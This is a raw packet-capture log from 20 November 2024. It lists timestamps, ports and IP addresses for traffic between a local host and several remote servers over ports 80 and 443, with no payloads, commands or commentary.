Nov 20, 2024 21:05:48.872056961 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.872159004 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.872215986 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.872215986 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.872908115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.873234987 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.873267889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.873437881 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.873827934 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.873919964 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.873933077 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.874074936 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.874763966 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.875004053 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.875459909 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.875600100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.875607967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.875619888 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.875695944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.876647949 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.876692057 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.876741886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.877374887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.877537966 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.877657890 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.877793074 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.878299952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.878369093 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.878767967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.878844023 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.879278898 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.879342079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.879542112 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.879703999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.880122900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.880292892 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.880407095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.880527020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.881026983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.881202936 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.881211042 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.881295919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.881891012 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.882029057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.882110119 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.882193089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.882765055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.882893085 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.882961035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.883018017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.883687973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.883824110 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.883943081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.884135962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.884906054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.884963036 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.884988070 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.885037899 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.885488987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.885545015 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.886472940 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.886485100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.886535883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.886535883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.886537075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.886629105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.887271881 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.887542009 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.966700077 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.966746092 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.966806889 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.966831923 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.966857910 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.966873884 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.979335070 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.979484081 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.980844975 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:48.981760025 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:48.981777906 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:48.981879950 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:48.981887102 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.000433922 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.000467062 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.000519037 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.000540018 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.000586987 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.000637054 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.005690098 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.005719900 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.005794048 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.005825043 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.005850077 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.005873919 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.030174971 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.030188084 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.030205011 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.030210972 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.030302048 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.030314922 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.030339956 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.030380011 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.030622959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.030738115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.031148911 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.031517982 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.031621933 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.031868935 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.031941891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.032375097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.032504082 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.032505035 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.032749891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.033402920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.033495903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.033543110 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.033595085 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.034200907 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.034411907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.034420967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.034638882 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.035052061 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.035161018 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.036045074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.036112070 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.036124945 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.036164045 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.036207914 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.037055016 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.037069082 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.037239075 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.037997961 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.038038969 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.038106918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.038413048 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.038769960 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.038829088 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.039078951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.039132118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.039660931 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.039721012 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.039747000 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.040050030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.040472031 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.040518999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.040556908 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.040826082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.041385889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.041503906 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.041968107 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.042031050 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.042290926 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.042304039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.042354107 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.042354107 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.043194056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.043206930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.043250084 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.043333054 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.044091940 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.044208050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.044229984 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.044249058 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.044987917 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.045044899 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.045152903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.045209885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.045844078 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.045947075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.045996904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.046788931 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.046802044 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.046880960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.046880960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.047676086 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.047691107 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.047776937 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.048585892 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.049000978 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.049103022 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.049217939 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.049268007 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.049295902 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.049324989 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.049338102 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.049427032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.049474955 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.049824953 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.049875021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.049875021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.050357103 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.050534964 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.050724030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.051254988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.051335096 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.051389933 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.051776886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.052362919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.052443027 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.052464962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.052582026 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.053133965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.053244114 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.053410053 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.053986073 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.054063082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.054336071 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.054881096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.054893017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.054976940 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.054976940 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.055582047 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.055613041 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.055691957 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.055705070 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.055723906 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.055773973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.055788040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.055821896 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.055821896 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.055850029 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.056801081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.056813002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.057121038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.057544947 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.057666063 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.057674885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.057729959 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.058485031 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.058551073 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.058779001 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.058933020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.059298038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.059359074 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.059864044 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.060322046 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.060328007 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.060340881 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.060457945 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.061134100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.061233044 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.061240911 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.061332941 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.062011957 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.062143087 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.062153101 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.062280893 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.062953949 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.062967062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.063813925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.063889980 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.064788103 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.064800978 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.064815044 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.064975023 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.065614939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.065829039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.065886974 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.066508055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.066675901 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.066747904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.067534924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.067687035 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.067812920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.068331003 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.068392038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.068397999 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.069200993 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.069252968 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.069812059 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.070087910 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.070112944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.070180893 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.070231915 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.071001053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.071177006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.071264029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.071335077 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.071934938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.072058916 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.072071075 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.072559118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.072844982 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.072858095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.072901011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.073693991 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.073755980 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.073842049 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.074006081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.074593067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.074687958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.074704885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.074929953 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.075455904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.075606108 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.075911999 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.076419115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.076420069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.076498032 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.076507092 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.076567888 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.077251911 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.077394962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.159034967 CET	49849	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.159153938 CET	443	49849	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.159233093 CET	49849	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.159945965 CET	49850	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.160048962 CET	443	49850	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.160120010 CET	49850	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.160357952 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.160382986 CET	443	49851	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.160445929 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.160548925 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.160593987 CET	443	49852	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.160720110 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.160799026 CET	49849	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.160850048 CET	443	49849	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.160933018 CET	49850	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.160970926 CET	443	49850	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.161097050 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.161117077 CET	443	49851	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.161211967 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.161225080 CET	443	49852	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.177584887 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.177661896 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.177660942 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.177700996 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.177727938 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.177747965 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.177928925 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.177973032 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:49.178030968 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:49.181528091 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.181562901 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.182027102 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.182051897 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.182110071 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.182125092 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.182141066 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.182141066 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.182157993 CET	443	49833	13.107.246.40	192.168.2.7
